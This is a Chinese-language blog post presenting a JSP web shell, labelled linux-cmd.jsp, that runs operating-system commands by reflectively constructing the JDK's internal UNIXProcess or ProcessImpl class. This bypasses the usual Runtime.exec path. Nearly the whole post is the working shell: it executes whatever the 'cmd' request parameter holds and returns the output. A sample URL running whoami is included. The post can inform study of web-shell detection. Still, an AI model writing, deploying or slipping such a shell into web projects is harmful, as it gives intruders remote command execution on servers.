0x01 前言

这个姿势最开始还是在博客园看到的,但是不知道为啥子现在文章404了,好在当时把文中的代码备份下来了

ProcessImpl 和 UNIXProcess 本质上可以认为是一个东西
因为最终他们都是调用了 forkAndExec类执行的底层c语言的命令

0x02 反射调用

注意: 这个代码抄的之前博客园的文章的,现在404了,我找不到原文地址

  1. # 在 webapp目录下面新建立一个文件: linux-cmd.jsp
  2. # 文件名: linux-cmd.jsp
  4. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  5. <%@ page import="java.io.*" %>
  6. <%@ page import="java.lang.reflect.Constructor" %>
  7. <%@ page import="java.lang.reflect.Method" %>
  8. <%
  9.     String[] str = request.getParameterValues("cmd");
  11.     if (str != null) {
  12.         InputStream in = start(str);
  13.         String result = inputStreamToString(in, "UTF-8");
  14.         out.println(result);
  15.     }
  16. %>
  17. <%!
  18.     public InputStream start(String[] strs) throws Exception {
  19.         assert strs != null && strs.length > 0;
  21.         String UNIXProcessClass = "java.lang.UNIXProcess";
  22.         String ProcessImplClass = "java.lang.ProcessImpl";
  24.         // 反射创建UNIXProcess或者ProcessImpl
  25.         Class clazz = null;
  26.         try {
  27.             clazz = Class.forName(UNIXProcessClass);
  28.         } catch (ClassNotFoundException e) {
  29.             clazz = Class.forName(ProcessImplClass);
  30.         }
  32.         // 获取UNIXProcess或者ProcessImpl的构造方法
  33.         Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
  34.         constructor.setAccessible(true);
  36.         byte[][] args = new byte[strs.length - 1][];
  38.         int size = args.length;
  39.         for (int i = 0; i < args.length; i++) {
  40.             args[i] = strs[i + 1].getBytes();
  41.             size += args[i].length;
  42.         }
  44.         byte[] argBlock = new byte[size];
  45.         int i = 0;
  46.         for (byte[] arg : args) {
  47.             System.arraycopy(arg, 0, argBlock, i, arg.length);
  48.             i += arg.length + 1;
  49.         }
  51.         int[] envc = new int[1];
  52.         int[] std_fds = new int[]{-1, -1, -1};
  54.         FileInputStream f0 = null;
  55.         FileOutputStream f1 = null;
  56.         FileOutputStream f2 = null;
  58.         try {
  59.             if (f0 != null) {
  60.                 f0.close();
  61.             }
  62.         } finally {
  63.             try {
  64.                 if (f1 != null) {
  65.                     f1.close();
  66.                 }
  67.             } finally {
  68.                 if (f2 != null) {
  69.                     f2.close();
  70.                 }
  71.             }
  72.         }
  74.         // 创建UNIXProcess或者ProcessImpl实例
  75.         Object object = constructor.newInstance(
  76.                 toCString(strs[0]), argBlock, args.length,
  77.                 null, envc[0], null, std_fds, false
  78.         );
  80.         // 获取命令执行的InputStream
  81.         Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
  82.         inMethod.setAccessible(true);
  84.         return (InputStream) inMethod.invoke(object);
  85.     }
  86. %>
  87. <%!
  88.     private byte[] toCString(String s) {
  89.         if (s == null) {
  90.             return null;
  91.         }
  93.         byte[] bytes = s.getBytes();
  94.         byte[] result = new byte[bytes.length + 1];
  95.         System.arraycopy(bytes, 0, result, 0, bytes.length);
  96.         result[result.length - 1] = (byte) 0;
  97.         return result;
  98.     }
  100.     private String inputStreamToString(InputStream in, String charset) throws IOException {
  101.         try {
  102.             if (charset == null) {
  103.                 charset = "UTF-8";
  104.             }
  106.             ByteArrayOutputStream out = new ByteArrayOutputStream();
  107.             int a = 0;
  108.             byte[] b = new byte[1024];
  110.             while ((a = in.read(b)) != -1) {
  111.                 out.write(b, 0, a);
  112.             }
  114.             return new String(out.toByteArray());
  115.         } catch (IOException e) {
  116.             throw e;
  117.         } finally {
  118.             if (in != null) {
  119.                 in.close();
  120.             }
  121.         }
  122.     }
  123. %>
  1. 访问url: http://127.0.0.1:8081/mavenJspTest_war/linux-cmd.jsp?cmd=whoami

image.png